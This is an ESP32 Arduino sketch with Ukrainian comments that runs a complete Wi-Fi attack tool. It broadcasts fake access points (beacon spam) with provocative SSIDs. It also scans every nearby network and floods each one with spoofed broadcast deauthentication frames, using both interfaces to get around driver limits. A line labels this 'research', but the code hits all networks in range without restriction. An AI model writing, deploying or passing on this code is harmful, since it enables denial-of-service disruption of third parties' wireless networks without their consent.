#include <esp_wifi.h>
#include <WiFi.h>
// 1. Список назв для фейкових мереж (Beacon Spam)
const char* fake_ssids[] = {
"FREE_WIFI_HOTSPOT",
"FBI_SURVEILLANCE_VAN",
"SYSTEM_UPDATE_WIFI",
"HACKED_BY_ESP32",
"VIRUS_DISTRIBUTION_POINT"
};
// 2. Пакет деавторизації (Deauth Frame)
uint8_t deauthPacket[26] = {
0xC0, 0x00, 0x3A, 0x01,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Ціль (Broadcast)
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Джерело (заповнюється динамічно)
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // BSSID (заповнюється динамічно)
0x00, 0x00, 0x07, 0x00 // Причина
};
// 3. Пакет фейкової мережі (Beacon Frame)
uint8_t beaconPacket[128] = {
0x80, 0x00, 0x00, 0x00,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0x01, 0x02, 0x03, 0x04, 0x05, 0x06,
0x01, 0x02, 0x03, 0x04, 0x05, 0x06,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x64, 0x00, 0x11, 0x04, 0x00, 0x05
};
void setup() {
Serial.begin(115200);
delay(1000);
// Очищення та ініціалізація Wi-Fi
WiFi.mode(WIFI_AP_STA); // Активуємо обидва інтерфейси для стабільності
esp_wifi_stop();
esp_wifi_deinit();
wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
esp_wifi_init(&cfg);
esp_wifi_set_storage(WIFI_STORAGE_RAM);
esp_wifi_set_mode(WIFI_MODE_APSTA);
esp_wifi_start();
// Вмикаємо режим Promiscuous
esp_wifi_set_promiscuous(true);
Serial.println("--- ДОСЛІДЖЕННЯ РОЗПОЧАТО ---");
}
void loop() {
// ЧАСТИНА 1: BEACON SPAM
Serial.println("Відправка фейкових мереж...");
for (int i = 0; i < 5; i++) {
// Генерація випадкового MAC для кожної мережі
for (int m = 10; m < 16; m++) beaconPacket[m] = random(256);
int ssidLen = strlen(fake_ssids[i]);
beaconPacket[37] = ssidLen;
memcpy(&beaconPacket[38], fake_ssids[i], ssidLen);
// Відправляємо через обидва інтерфейси, щоб уникнути "invalid interface"
esp_wifi_80211_tx(WIFI_IF_STA, beaconPacket, 38 + ssidLen, false);
esp_wifi_80211_tx(WIFI_IF_AP, beaconPacket, 38 + ssidLen, false);
delay(1);
}
// ЧАСТИНА 2: DEAUTH ATTACK
Serial.println("Сканування та деавторизація...");
int n = WiFi.scanNetworks();
if (n == 0) {
Serial.println("Мереж не знайдено.");
} else {
for (int i = 0; i < n; i++) {
uint8_t* bssid = WiFi.BSSID(i);
int chan = WiFi.channel(i);
Serial.printf("Ціль: %s (Канал: %d)\n", WiFi.SSID(i).c_str(), chan);
esp_wifi_set_channel(chan, WIFI_SECOND_CHAN_NONE);
// Оновлюємо MAC-адреси в пакеті
memcpy(&deauthPacket[10], bssid, 6);
memcpy(&deauthPacket[16], bssid, 6);
// Надсилаємо пакети деавторизації
for (int j = 0; j < 15; j++) {
// Пробуємо через STA інтерфейс
esp_wifi_80211_tx(WIFI_IF_STA, deauthPacket, sizeof(deauthPacket), false);
// Пробуємо через AP інтерфейс (для обходу обмежень драйвера)
esp_wifi_80211_tx(WIFI_IF_AP, deauthPacket, sizeof(deauthPacket), false);
delay(3);
}
}
}
Serial.println("Цикл завершено. Очікування...");
delay(1000); // Невелика пауза для запобігання перегріву
yield();
}